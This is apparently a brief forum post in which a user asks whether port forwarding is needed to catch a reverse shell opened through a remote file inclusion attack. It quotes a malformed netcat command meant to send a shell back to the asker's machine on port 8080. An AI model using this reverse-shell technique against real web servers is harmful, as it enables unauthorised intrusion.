Forum Thread: Port Fowarding for Remote File Inclusion

Like we all know that remote file inclusion need to be write in php and upload to the webhost, then send to vulnerable page, to open reverse connection, so i wanna ask if this method need port fowarding, because in the php line where we put ("nc /bin/sh 192.168.1.2:8080") so do i need to port foward port 8080? thanks!
